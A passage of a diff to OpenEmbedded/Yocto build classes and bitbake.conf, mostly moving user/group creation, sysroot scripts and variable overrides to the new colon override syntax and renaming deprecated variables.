newparam += ['', ' --root %s' % gaargs.root][gaargs.root != None]
newparam += ['', ' --system'][gaargs.system]
newparam += ' %s' % gaargs.GROUP
@@ -265,17 +267,17 @@ def update_useradd_static_config(d):
for pkg in useradd_packages.split():
# Groupmems doesn't have anything we might want to change, so simply validating
# is a bit of a waste -- only process useradd/groupadd
- useradd_param = d.getVar('USERADD_PARAM_%s' % pkg)
+ useradd_param = d.getVar('USERADD_PARAM:%s' % pkg)
if useradd_param:
- #bb.warn("Before: 'USERADD_PARAM_%s' - '%s'" % (pkg, useradd_param))
- d.setVar('USERADD_PARAM_%s' % pkg, rewrite_useradd(useradd_param, True))
- #bb.warn("After: 'USERADD_PARAM_%s' - '%s'" % (pkg, d.getVar('USERADD_PARAM_%s' % pkg)))
+ #bb.warn("Before: 'USERADD_PARAM:%s' - '%s'" % (pkg, useradd_param))
+ d.setVar('USERADD_PARAM:%s' % pkg, rewrite_useradd(useradd_param, True))
+ #bb.warn("After: 'USERADD_PARAM:%s' - '%s'" % (pkg, d.getVar('USERADD_PARAM:%s' % pkg)))
- groupadd_param = d.getVar('GROUPADD_PARAM_%s' % pkg)
+ groupadd_param = d.getVar('GROUPADD_PARAM:%s' % pkg)
if groupadd_param:
- #bb.warn("Before: 'GROUPADD_PARAM_%s' - '%s'" % (pkg, groupadd_param))
- d.setVar('GROUPADD_PARAM_%s' % pkg, rewrite_groupadd(groupadd_param, True))
- #bb.warn("After: 'GROUPADD_PARAM_%s' - '%s'" % (pkg, d.getVar('GROUPADD_PARAM_%s' % pkg)))
+ #bb.warn("Before: 'GROUPADD_PARAM:%s' - '%s'" % (pkg, groupadd_param))
+ d.setVar('GROUPADD_PARAM:%s' % pkg, rewrite_groupadd(groupadd_param, True))
+ #bb.warn("After: 'GROUPADD_PARAM:%s' - '%s'" % (pkg, d.getVar('GROUPADD_PARAM:%s' % pkg)))
# Load and process extra users and groups, rewriting only adduser/addgroup params
pkg = d.getVar('PN')
diff --git a/meta/classes/useradd.bbclass b/meta/classes/useradd.bbclass
index e5f3ba24f9..16a65ac323 100644
--- a/meta/classes/useradd.bbclass
+++ b/meta/classes/useradd.bbclass
@@ -1,9 +1,15 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit useradd_base
# base-passwd-cross provides the default passwd and group files in the
# target sysroot, and shadow -native and -sysroot provide the utilities
# and support files needed to add and modify user and group accounts
-DEPENDS_append_class-target = " base-files shadow-native shadow-sysroot shadow base-passwd"
+DEPENDS:append:class-target = " base-files shadow-native shadow-sysroot shadow base-passwd"
PACKAGE_WRITE_DEPS += "shadow-native"
# This preinstall function can be run in four different contexts:
@@ -97,6 +103,18 @@ fi
}
useradd_sysroot () {
+ user_group_groupmems_add_sysroot user
+}
+
+groupadd_sysroot () {
+ user_group_groupmems_add_sysroot group
+}
+
+groupmemsadd_sysroot () {
+ user_group_groupmems_add_sysroot groupmems
+}
+
+user_group_groupmems_add_sysroot () {
# Pseudo may (do_prepare_recipe_sysroot) or may not (do_populate_sysroot_setscene) be running
# at this point so we're explicit about the environment so pseudo can load if
# not already present.
@@ -125,9 +143,15 @@ useradd_sysroot () {
fi
# Add groups and users defined for all recipe packages
- GROUPADD_PARAM="${@get_all_cmd_params(d, 'groupadd')}"
- USERADD_PARAM="${@get_all_cmd_params(d, 'useradd')}"
- GROUPMEMS_PARAM="${@get_all_cmd_params(d, 'groupmems')}"
+ if test "$1" = "group"; then
+ GROUPADD_PARAM="${@get_all_cmd_params(d, 'groupadd')}"
+ elif test "$1" = "user"; then
+ USERADD_PARAM="${@get_all_cmd_params(d, 'useradd')}"
+ elif test "$1" = "groupmems"; then
+ GROUPMEMS_PARAM="${@get_all_cmd_params(d, 'groupmems')}"
+ elif test "x$1" = "x"; then
+ bbwarn "missing type of passwd db action"
+ fi
# Tell the system to use the environment vars
UA_SYSROOT=1
@@ -142,38 +166,45 @@ useradd_sysroot () {
EXTRA_STAGING_FIXMES += "PSEUDO_SYSROOT PSEUDO_LOCALSTATEDIR LOGFIFO"
python useradd_sysroot_sstate () {
- scriptfile = None
- task = d.getVar("BB_CURRENTTASK")
- if task == "package_setscene":
- bb.build.exec_func("useradd_sysroot", d)
- elif task == "prepare_recipe_sysroot":
- # Used to update this recipe's own sysroot so the user/groups are available to do_install
- scriptfile = d.expand("${RECIPE_SYSROOT}${bindir}/postinst-useradd-${PN}")
- bb.build.exec_func("useradd_sysroot", d)
- elif task == "populate_sysroot":
- # Used when installed in dependent task sysroots
- scriptfile = d.expand("${SYSROOT_DESTDIR}${bindir}/postinst-useradd-${PN}")
-
- if scriptfile:
- bb.utils.mkdirhier(os.path.dirname(scriptfile))
- with open(scriptfile, 'w') as script:
- script.write("#!/bin/sh\n")
- bb.data.emit_func("useradd_sysroot", script, d)
- script.write("useradd_sysroot\n")
- os.chmod(scriptfile, 0o755)
+ for type, sort_prefix in [("group", "01"), ("user", "02"), ("groupmems", "03")]:
+ scriptfile = None
+ task = d.getVar("BB_CURRENTTASK")
+ if task == "package_setscene":
+ bb.build.exec_func(type + "add_sysroot", d)
+ elif task == "prepare_recipe_sysroot":
+ # Used to update this recipe's own sysroot so the user/groups are available to do_install
+
+ # If do_populate_sysroot is triggered and we write the file here, there would be an overlapping
+ # files. See usergrouptests.UserGroupTests.test_add_task_between_p_sysroot_and_package
+ scriptfile = d.expand("${RECIPE_SYSROOT}${bindir}/postinst-useradd-" + sort_prefix + type + "-${PN}-recipedebug")
+
+ bb.build.exec_func(type + "add_sysroot", d)
+ elif task == "populate_sysroot":
+ # Used when installed in dependent task sysroots
+ scriptfile = d.expand("${SYSROOT_DESTDIR}${bindir}/postinst-useradd-" + sort_prefix + type + "-${PN}")
+
+ if scriptfile:
+ bb.utils.mkdirhier(os.path.dirname(scriptfile))
+ with open(scriptfile, 'w') as script:
+ script.write("#!/bin/sh -e\n")
+ bb.data.emit_func(type + "add_sysroot", script, d)
+ script.write(type + "add_sysroot\n")
+ os.chmod(scriptfile, 0o755)
}
do_prepare_recipe_sysroot[postfuncs] += "${SYSROOTFUNC}"
-SYSROOTFUNC_class-target = "useradd_sysroot_sstate"
+SYSROOTFUNC:class-target = "useradd_sysroot_sstate"
SYSROOTFUNC = ""
SYSROOT_PREPROCESS_FUNCS += "${SYSROOTFUNC}"
-SSTATEPREINSTFUNCS_append_class-target = " useradd_sysroot_sstate"
+SSTATEPREINSTFUNCS:append:class-target = " useradd_sysroot_sstate"
+USERADD_DEPENDS ??= ""
+DEPENDS += "${USERADD_DEPENDS}"
do_package_setscene[depends] += "${USERADDSETSCENEDEPS}"
do_populate_sysroot_setscene[depends] += "${USERADDSETSCENEDEPS}"
-USERADDSETSCENEDEPS_class-target = "${MLPREFIX}base-passwd:do_populate_sysroot_setscene pseudo-native:do_populate_sysroot_setscene shadow-native:do_populate_sysroot_setscene ${MLPREFIX}shadow-sysroot:do_populate_sysroot_setscene"
+USERADDSETSCENEDEPS:class-target = "${MLPREFIX}base-passwd:do_populate_sysroot_setscene pseudo-native:do_populate_sysroot_setscene shadow-native:do_populate_sysroot_setscene ${MLPREFIX}shadow-sysroot:do_populate_sysroot_setscene ${@' '.join(['%s:do_populate_sysroot_setscene' % pkg for pkg in d.getVar("USERADD_DEPENDS").split()])}"
USERADDSETSCENEDEPS = ""
# Recipe parse-time sanity checks
@@ -184,8 +215,8 @@ def update_useradd_after_parse(d):
bb.fatal("%s inherits useradd but doesn't set USERADD_PACKAGES" % d.getVar('FILE', False))
for pkg in useradd_packages.split():
- d.appendVarFlag("do_populate_sysroot", "vardeps", "USERADD_PARAM_%s GROUPADD_PARAM_%s GROUPMEMS_PARAM_%s" % (pkg, pkg, pkg))
- if not d.getVar('USERADD_PARAM_%s' % pkg) and not d.getVar('GROUPADD_PARAM_%s' % pkg) and not d.getVar('GROUPMEMS_PARAM_%s' % pkg):
+ d.appendVarFlag("do_populate_sysroot", "vardeps", " USERADD_PARAM:%s GROUPADD_PARAM:%s GROUPMEMS_PARAM:%s" % (pkg, pkg, pkg))
+ if not d.getVar('USERADD_PARAM:%s' % pkg) and not d.getVar('GROUPADD_PARAM:%s' % pkg) and not d.getVar('GROUPMEMS_PARAM:%s' % pkg):
bb.fatal("%s inherits useradd but doesn't set USERADD_PARAM, GROUPADD_PARAM or GROUPMEMS_PARAM for package %s" % (d.getVar('FILE', False), pkg))
python __anonymous() {
@@ -199,7 +230,7 @@ python __anonymous() {
def get_all_cmd_params(d, cmd_type):
import string
- param_type = cmd_type.upper() + "_PARAM_%s"
+ param_type = cmd_type.upper() + "_PARAM:%s"
params = []
useradd_packages = d.getVar('USERADD_PACKAGES') or ""
@@ -211,7 +242,7 @@ def get_all_cmd_params(d, cmd_type):
return "; ".join(params)
# Adds the preinst script into generated packages
-fakeroot python populate_packages_prepend () {
+fakeroot python populate_packages:prepend () {
def update_useradd_package(pkg):
bb.debug(1, 'adding user/group calls to preinst for %s' % pkg)
@@ -220,7 +251,7 @@ fakeroot python populate_packages_prepend () {
required to execute on the target. Not doing so may cause
useradd preinst to be invoked twice, causing unwanted warnings.
"""
- preinst = d.getVar('pkg_preinst_%s' % pkg) or d.getVar('pkg_preinst')
+ preinst = d.getVar('pkg_preinst:%s' % pkg) or d.getVar('pkg_preinst')
if not preinst:
preinst = '#!/bin/sh\n'
preinst += 'bbnote () {\n\techo "NOTE: $*"\n}\n'
@@ -230,15 +261,19 @@ fakeroot python populate_packages_prepend () {
preinst += 'perform_useradd () {\n%s}\n' % d.getVar('perform_useradd')
preinst += 'perform_groupmems () {\n%s}\n' % d.getVar('perform_groupmems')
preinst += d.getVar('useradd_preinst')
- d.setVar('pkg_preinst_%s' % pkg, preinst)
+ # Expand out the *_PARAM variables to the package specific versions
+ for rep in ["GROUPADD_PARAM", "USERADD_PARAM", "GROUPMEMS_PARAM"]:
+ val = d.getVar(rep + ":" + pkg) or ""
+ preinst = preinst.replace("${" + rep + "}", val)
+ d.setVar('pkg_preinst:%s' % pkg, preinst)
# RDEPENDS setup
- rdepends = d.getVar("RDEPENDS_%s" % pkg) or ""
+ rdepends = d.getVar("RDEPENDS:%s" % pkg) or ""
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'base-passwd'
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'shadow'
# base-files is where the default /etc/skel is packaged
rdepends += ' ' + d.getVar('MLPREFIX', False) + 'base-files'
- d.setVar("RDEPENDS_%s" % pkg, rdepends)
+ d.setVar("RDEPENDS:%s" % pkg, rdepends)
# Add the user/group preinstall scripts and RDEPENDS requirements
# to packages specified by USERADD_PACKAGES
@@ -252,4 +287,4 @@ fakeroot python populate_packages_prepend () {
# Use the following to extend the useradd with custom functions
USERADDEXTENSION ?= ""
-inherit ${USERADDEXTENSION}
+inherit_defer ${USERADDEXTENSION}
diff --git a/meta/classes/useradd_base.bbclass b/meta/classes/useradd_base.bbclass
index 0d0bdb80f5..5e1c699118 100644
--- a/meta/classes/useradd_base.bbclass
+++ b/meta/classes/useradd_base.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This bbclass provides basic functionality for user/group settings.
# This bbclass is intended to be inherited by useradd.bbclass and
# extrausers.bbclass.
@@ -145,3 +151,21 @@ perform_usermod () {
fi
set -e
}
+
+perform_passwd_expire () {
+ local rootdir="$1"
+ local opts="$2"
+ bbnote "${PN}: Performing equivalent of passwd --expire with [$opts]"
+ # Directly set sp_lstchg to 0 without using the passwd command: Only root can do that
+ local username=`echo "$opts" | awk '{ print $NF }'`
+ local user_exists="`grep "^$username:" $rootdir/etc/passwd || true`"
+ if test "x$user_exists" != "x"; then
+ eval flock -x $rootdir${sysconfdir} -c \"$PSEUDO sed --follow-symlinks -i \''s/^\('$username':[^:]*\):[^:]*:/\1:0:/'\' $rootdir/etc/shadow \" || true
+ local passwd_lastchanged="`grep "^$username:" $rootdir/etc/shadow | cut -d: -f3`"
+ if test "x$passwd_lastchanged" != "x0"; then
+ bbfatal "${PN}: passwd --expire operation did not succeed."
+ fi
+ else
+ bbnote "${PN}: user $username doesn't exist, not expiring its password"
+ fi
+}
diff --git a/meta/classes/waf.bbclass b/meta/classes/waf.bbclass
deleted file mode 100644
index 900244004e..0000000000
--- a/meta/classes/waf.bbclass
+++ /dev/null
@@ -1,65 +0,0 @@
-# avoids build breaks when using no-static-libs.inc
-DISABLE_STATIC = ""
-
-B = "${WORKDIR}/build"
-
-EXTRA_OECONF_append = " ${PACKAGECONFIG_CONFARGS}"
-
-def waflock_hash(d):
- # Calculates the hash used for the waf lock file. This should include
- # all of the user controllable inputs passed to waf configure. Note
- # that the full paths for ${B} and ${S} are used; this is OK and desired
- # because a change to either of these should create a unique lock file
- # to prevent collisions.
- import hashlib
- h = hashlib.sha512()
- def update(name):
- val = d.getVar(name)
- if val is not None:
- h.update(val.encode('utf-8'))
- update('S')
- update('B')
- update('prefix')
- update('EXTRA_OECONF')
- return h.hexdigest()
-
-# Use WAFLOCK to specify a separate lock file. The build is already
-# sufficiently isolated by setting the output directory, this ensures that
-# bitbake won't step on toes of any other configured context in the source
-# directory (e.g. if the source is coming from externalsrc and was previously
-# configured elsewhere).
-export WAFLOCK = ".lock-waf_oe_${@waflock_hash(d)}_build"
-BB_HASHBASE_WHITELIST += "WAFLOCK"
-
-python waf_preconfigure() {
- import subprocess
- from distutils.version import StrictVersion
- subsrcdir = d.getVar('S')
- wafbin = os.path.join(subsrcdir, 'waf')
- try:
- result = subprocess.check_output([wafbin, '--version'], cwd=subsrcdir, stderr=subprocess.STDOUT)
- version = result.decode('utf-8').split()[1]
- if StrictVersion(version) >= StrictVersion("1.8.7"):
- d.setVar("WAF_EXTRA_CONF", "--bindir=${bindir} --libdir=${libdir}")
- except subprocess.CalledProcessError as e:
- bb.warn("Unable to execute waf --version, exit code %d. Assuming waf version without bindir/libdir support." % e.returncode)
- except FileNotFoundError:
- bb.fatal("waf does not exist in %s" % subsrcdir)
-}
-
-do_configure[prefuncs] += "waf_preconfigure"
-
-waf_do_configure() {
- (cd ${S} && ./waf configure -o ${B} --prefix=${prefix} ${WAF_EXTRA_CONF} ${EXTRA_OECONF})
-}
-
-do_compile[progress] = "outof:^\[\s*(\d+)/\s*(\d+)\]\s+"
-waf_do_compile() {
- (cd ${S} && ./waf build ${@oe.utils.parallel_make_argument(d, '-j%d', limit=64)})
-}
-
-waf_do_install() {
- (cd ${S} && ./waf install --destdir=${D})
-}
-
-EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes/xmlcatalog.bbclass b/meta/classes/xmlcatalog.bbclass
deleted file mode 100644
index ae4811fdeb..0000000000
--- a/meta/classes/xmlcatalog.bbclass
+++ /dev/null
@@ -1,26 +0,0 @@
-DEPENDS = "libxml2-native"
-
-# A whitespace-separated list of XML catalogs to be registered, for example
-# "${sysconfdir}/xml/docbook-xml.xml".
-XMLCATALOGS ?= ""
-
-SYSROOT_PREPROCESS_FUNCS_append = " xmlcatalog_sstate_postinst"
-
-xmlcatalog_complete() {
- ROOTCATALOG="${STAGING_ETCDIR_NATIVE}/xml/catalog"
- if [ ! -f $ROOTCATALOG ]; then
- mkdir --parents $(dirname $ROOTCATALOG)
- xmlcatalog --noout --create $ROOTCATALOG
- fi
- for CATALOG in ${XMLCATALOGS}; do
- xmlcatalog --noout --add nextCatalog unused file://$CATALOG $ROOTCATALOG
- done
-}
-
-xmlcatalog_sstate_postinst() {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- dest=${SYSROOT_DESTDIR}${bindir}/postinst-${PN}-xmlcatalog
- echo '#!/bin/sh' > $dest
- echo '${xmlcatalog_complete}' >> $dest
- chmod 0755 $dest
-}
diff --git a/meta/classes/yocto-check-layer.bbclass b/meta/classes/yocto-check-layer.bbclass
new file mode 100644
index 0000000000..404f5fd9f2
--- /dev/null
+++ b/meta/classes/yocto-check-layer.bbclass
@@ -0,0 +1,22 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
+# This class is used by yocto-check-layer script for additional per-recipe tests
+# The first test ensures that the layer has no recipes skipping 'installed-vs-shipped' QA checks
+#
+
+WARN_QA:remove = "installed-vs-shipped"
+ERROR_QA:append = " installed-vs-shipped"
+
+python () {
+ packages = set((d.getVar('PACKAGES') or '').split())
+ for package in packages:
+ skip = set((d.getVar('INSANE_SKIP') or "").split() +
+ (d.getVar('INSANE_SKIP:' + package) or "").split())
+ if 'installed-vs-shipped' in skip:
+ oe.qa.handle_error("installed-vs-shipped", 'Package %s is skipping "installed-vs-shipped" QA test.' % package, d)
+}
diff --git a/meta/conf/abi_version.conf b/meta/conf/abi_version.conf
index e04343b47c..13c2c45b42 100644
--- a/meta/conf/abi_version.conf
+++ b/meta/conf/abi_version.conf
@@ -4,7 +4,7 @@
# that breaks the format and have been previously discussed on the mailing list
# with general agreement from the core team.
#
-OELAYOUT_ABI = "12"
+OELAYOUT_ABI = "15"
#
# HASHEQUIV_HASH_VERSION is injected into the output hash calculation used by
@@ -12,4 +12,4 @@ OELAYOUT_ABI = "12"
# a reset of the equivalence, for example when reproducibility issues break the
# existing match data. Distros can also append to this value for the same effect.
#
-HASHEQUIV_HASH_VERSION = "3"
+HASHEQUIV_HASH_VERSION = "16"
diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
index 353caacef9..ba8bd5f975 100644
--- a/meta/conf/bitbake.conf
+++ b/meta/conf/bitbake.conf
@@ -10,8 +10,8 @@
baselib = "${BASELIB}"
baselib[vardepvalue] = "${baselib}"
BASELIB = "lib"
-BASELIB_powerpc64 = "lib64"
-BASELIB_powerpc64le = "lib64"
+BASELIB:libc-glibc:powerpc64 = "lib64"
+BASELIB:libc-glibc:powerpc64le = "lib64"
# Path prefixes
export base_prefix = ""
@@ -31,6 +31,7 @@ export sysconfdir = "${base_prefix}/etc"
export servicedir = "${base_prefix}/srv"
export sharedstatedir = "${base_prefix}/com"
export localstatedir = "${base_prefix}/var"
+runtimedir = "${base_prefix}/run"
export datadir = "${prefix}/share"
export infodir = "${datadir}/info"
export mandir = "${datadir}/man"
@@ -46,7 +47,6 @@ export sbindir = "${exec_prefix}/sbin"
export libdir = "${exec_prefix}/${baselib}"
export libexecdir = "${exec_prefix}/libexec"
export includedir = "${exec_prefix}/include"
-export oldincludedir = "${exec_prefix}/include"
localedir = "${libdir}/locale"
# Linkage between native/cross/nativesdk layouts
@@ -80,8 +80,8 @@ localstatedir_nativesdk = "/var"
target_datadir := "${datadir}"
# Used to find env/perl/python
USRBINPATH = "${bindir}"
-USRBINPATH_class-native = "/usr/bin"
-USRBINPATH_class-nativesdk = "/usr/bin"
+USRBINPATH:class-native = "/usr/bin"
+USRBINPATH:class-nativesdk = "/usr/bin"
# Root home directory
ROOT_HOME ??= "/home/root"
@@ -90,6 +90,41 @@ ROOT_HOME ??= "/home/root"
# If set to boolean false ('no', 'n', 'false', 'f', '0'), /var/log is on persistent storage.
VOLATILE_LOG_DIR ?= "yes"
+# if set to 'yes': /tmp links to /var/tmp which links to /var/volatile/tmp
+# otherwise: /tmp is on persistent storage
+VOLATILE_TMP_DIR ?= "yes"
+
+BB_RENAMED_VARIABLES[PNBLACKLIST] = "SKIP_RECIPE"
+BB_RENAMED_VARIABLES[CVE_CHECK_PN_WHITELIST] = "CVE_CHECK_SKIP_RECIPE"
+BB_RENAMED_VARIABLES[CVE_CHECK_WHITELIST] = "CVE_CHECK_IGNORE"
+BB_RENAMED_VARIABLES[MULTI_PROVIDER_WHITELIST] = "BB_MULTI_PROVIDER_ALLOWED"
+BB_RENAMED_VARIABLES[PNBLACKLIST] = "SKIP_RECIPE"
+BB_RENAMED_VARIABLES[SDK_LOCAL_CONF_BLACKLIST] = "ESDK_LOCALCONF_REMOVE"
+BB_RENAMED_VARIABLES[SDK_LOCAL_CONF_WHITELIST] = "ESDK_LOCALCONF_ALLOW"
+BB_RENAMED_VARIABLES[SDK_INHERIT_BLACKLIST] = "ESDK_CLASS_INHERIT_DISABLE"
+BB_RENAMED_VARIABLES[SSTATE_DUPWHITELIST] = "SSTATE_ALLOW_OVERLAP_FILES"
+BB_RENAMED_VARIABLES[SYSROOT_DIRS_BLACKLIST] = "SYSROOT_DIRS_IGNORE"
+BB_RENAMED_VARIABLES[UNKNOWN_CONFIGURE_WHITELIST] = "UNKNOWN_CONFIGURE_OPT_IGNORE"
+BB_RENAMED_VARIABLES[ICECC_USER_CLASS_BL] = "ICECC_CLASS_DISABLE"
+BB_RENAMED_VARIABLES[ICECC_SYSTEM_CLASS_BL] = "ICECC_CLASS_DISABLE"
+BB_RENAMED_VARIABLES[ICECC_USER_PACKAGE_WL] = "ICECC_RECIPE_ENABLE"
+BB_RENAMED_VARIABLES[ICECC_USER_PACKAGE_BL] = "ICECC_RECIPE_DISABLE"
+BB_RENAMED_VARIABLES[ICECC_SYSTEM_PACKAGE_BL] = "ICECC_RECIPE_DISABLE"
+BB_RENAMED_VARIABLES[INHERIT_BLACKLIST] = "is a deprecated variable and no longer needed"
+BB_RENAMED_VARIABLES[TUNEABI_WHITELIST] = "is a deprecated variable and support has been removed"
+BB_RENAMED_VARIABLES[LICENSE_FLAGS_WHITELIST] = "LICENSE_FLAGS_ACCEPTED"
+
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0-only] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0-or-later] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0-only] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0-or-later] = "INCOMPATIBLE_LICENSE_EXCEPTIONS"
+
+# These are deprecated version and should be updated to approved names
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:GPL-3.0-only'"
+BB_RENAMED_VARIABLES[WHITELIST_GPL-3.0+] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:GPL-3.0-or-later'"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:LGPL-3.0-only'"
+BB_RENAMED_VARIABLES[WHITELIST_LGPL-3.0+] = "is deprecated, convert to INCOMPATIBLE_LICENSE_EXCEPTIONS = '<pkg>:LGPL-3.0-or-later'"
+
##################################################################
# Architecture-dependent build variables.
##################################################################
@@ -121,7 +156,7 @@ TUNE_CCARGS ??= ""
TUNE_CCARGS[vardepvalue] = "${TUNE_CCARGS}"
TUNE_LDARGS ??= ""
TUNE_ASARGS ??= ""
-TUNE_FEATURES ??= "${TUNE_FEATURES_tune-${DEFAULTTUNE}}"
+TUNE_FEATURES ??= "${TUNE_FEATURES:tune-${DEFAULTTUNE}}"
LIBCEXTENSION ??= ""
ABIEXTENSION ??= ""
USE_NLS ??= "yes"
@@ -136,7 +171,7 @@ TARGET_CC_ARCH = "${TUNE_CCARGS}"
TARGET_LD_ARCH = "${TUNE_LDARGS}"
TARGET_AS_ARCH = "${TUNE_ASARGS}"
-SDKMACHINE ??= "x86_64"
+SDKMACHINE ??= "${BUILD_ARCH}"
SDK_OS = "${BUILD_OS}"
SDK_VENDOR = "-oesdk"
SDK_SYS = "${SDK_ARCH}${SDK_VENDOR}-${SDK_OS}"
@@ -150,7 +185,7 @@ SDK_AS_ARCH = "${BUILD_AS_ARCH}"
TUNE_PKGARCH ??= ""
PACKAGE_ARCH ??= "${TUNE_PKGARCH}"
MACHINE_ARCH = "${@[d.getVar('TUNE_PKGARCH'), d.getVar('MACHINE')][bool(d.getVar('MACHINE'))].replace('-', '_')}"
-PACKAGE_EXTRA_ARCHS ??= "${PACKAGE_EXTRA_ARCHS_tune-${DEFAULTTUNE}}"
+PACKAGE_EXTRA_ARCHS ??= "${PACKAGE_EXTRA_ARCHS:tune-${DEFAULTTUNE}}"
PACKAGE_ARCHS = "all any noarch ${PACKAGE_EXTRA_ARCHS} ${MACHINE_ARCH}"
# MACHINE_ARCH shouldn't be included here as a variable dependency
# since machine specific packages are handled using multimachine
@@ -173,25 +208,25 @@ DATETIME = "${DATE}${TIME}"
# python-native should be here but python relies on building
# its own in staging
ASSUME_PROVIDED = "\
+ bash-native \
bzip2-native \
chrpath-native \
+ diffstat-native \
file-native \
findutils-native \
gawk-native \
git-native \
grep-native \
- diffstat-native \
- patch-native \
- libgcc-native \
hostperl-runtime-native \
hostpython-runtime-native \
+ libgcc-native \
+ patch-native \
+ sed-native \
tar-native \
- virtual/libintl-native \
- virtual/libiconv-native \
- virtual/crypt-native \
texinfo-native \
- bash-native \
- sed-native \
+ virtual/crypt-native \
+ virtual/libiconv-native \
+ virtual/libintl-native \
wget-native \
"
# gzip-native should be listed above?
@@ -202,12 +237,13 @@ ASSUME_PROVIDED = "\
PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or 'defaultpkgname'}"
PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
-PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
+PR = "r0"
PE = ""
PF = "${PN}-${EXTENDPE}${PV}-${PR}"
EXTENDPE = "${@['','${PE}_'][int(d.getVar('PE') or 0) > 0]}"
P = "${PN}-${PV}"
+PRSERV_PV_AUTOINC = "AUTOINC"
PRAUTO = ""
EXTENDPRAUTO = "${@['.${PRAUTO}', ''][not d.getVar('PRAUTO')]}"
PRAUTOINX = "${PF}"
@@ -235,28 +271,28 @@ DESCRIPTION ?= "${SUMMARY}."
# The following two are commented out because they result in a recursive
# definition of the variable in some corner cases. These are left in
# to illustrate the intended behavior.
-#SUMMARY_${PN} ?= "${SUMMARY}"
-#DESCRIPTION_${PN} ?= "${DESCRIPTION}"
+#SUMMARY:${PN} ?= "${SUMMARY}"
+#DESCRIPTION:${PN} ?= "${DESCRIPTION}"
-SUMMARY_${PN}-src ?= "${SUMMARY} - Source files"
-DESCRIPTION_${PN}-src ?= "${DESCRIPTION} \
+SUMMARY:${PN}-src ?= "${SUMMARY} - Source files"
+DESCRIPTION:${PN}-src ?= "${DESCRIPTION} \
This package contains sources for debugging purposes."
-SUMMARY_${PN}-dbg ?= "${SUMMARY} - Debugging files"
-DESCRIPTION_${PN}-dbg ?= "${DESCRIPTION} \
+SUMMARY:${PN}-dbg ?= "${SUMMARY} - Debugging files"
+DESCRIPTION:${PN}-dbg ?= "${DESCRIPTION} \
This package contains ELF symbols and related sources for debugging purposes."
-SUMMARY_${PN}-dev ?= "${SUMMARY} - Development files"
-DESCRIPTION_${PN}-dev ?= "${DESCRIPTION} \
+SUMMARY:${PN}-dev ?= "${SUMMARY} - Development files"
+DESCRIPTION:${PN}-dev ?= "${DESCRIPTION} \
This package contains symbolic links, header files, and \
related items necessary for software development."
-SUMMARY_${PN}-staticdev ?= "${SUMMARY} - Development files (Static Libraries)"
-DESCRIPTION_${PN}-staticdev ?= "${DESCRIPTION} \
+SUMMARY:${PN}-staticdev ?= "${SUMMARY} - Development files (Static Libraries)"
+DESCRIPTION:${PN}-staticdev ?= "${DESCRIPTION} \
This package contains static libraries for software development."
-SUMMARY_${PN}-doc ?= "${SUMMARY} - Documentation files"
-DESCRIPTION_${PN}-doc ?= "${DESCRIPTION} \
+SUMMARY:${PN}-doc ?= "${SUMMARY} - Documentation files"
+DESCRIPTION:${PN}-doc ?= "${DESCRIPTION} \
This package contains documentation."
LICENSE ??= "INVALID"
@@ -271,21 +307,19 @@ DEPCHAIN_PRE = ""
DEPCHAIN_POST = "-dev -dbg"
DEPENDS = ""
-RDEPENDS = ""
PROVIDES = ""
-PROVIDES_prepend = "${PN} "
-RPROVIDES = ""
+PROVIDES:prepend = "${PN} "
-MULTI_PROVIDER_WHITELIST = "virtual/libintl virtual/libintl-native virtual/nativesdk-libintl virtual/xserver virtual/update-alternatives-native virtual/update-alternatives"
+BB_MULTI_PROVIDER_ALLOWED = "virtual/libintl virtual/libintl-native virtual/nativesdk-libintl virtual/xserver virtual/update-alternatives-native virtual/update-alternatives"
SOLIBS = ".so.*"
-SOLIBS_darwin = ".dylib"
+SOLIBS:darwin = ".dylib"
SOLIBSDEV = ".so"
# Due to the ordering of PACKAGES and the naming of the dev symlinks on darwin,
# we can't make the symlinks end up in the -dev packages easily at this point. This hack
# at least means builds aren't completely broken and symlinks don't take up much space.
-SOLIBSDEV_darwin = ".dylibbroken"
+SOLIBSDEV:darwin = ".dylibbroken"
PACKAGE_DEBUG_SPLIT_STYLE ?= "debug-with-srcpkg"
@@ -294,7 +328,7 @@ PACKAGES = "${PN}-src ${PN}-dbg ${PN}-staticdev ${PN}-dev ${PN}-doc ${PN}-locale
PACKAGES_DYNAMIC = "^${PN}-locale-.*"
FILES = ""
-FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS} \
+FILES:${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS} \
${sysconfdir} ${sharedstatedir} ${localstatedir} \
${base_bindir}/* ${base_sbindir}/* \
${base_libdir}/*${SOLIBS} \
@@ -305,36 +339,37 @@ FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*${SOLIBS}
${datadir}/idl ${datadir}/omf ${datadir}/sounds \
${libdir}/bonobo/servers"
-FILES_${PN}-bin = "${bindir}/* ${sbindir}/*"
+FILES:${PN}-bin = "${bindir}/* ${sbindir}/*"
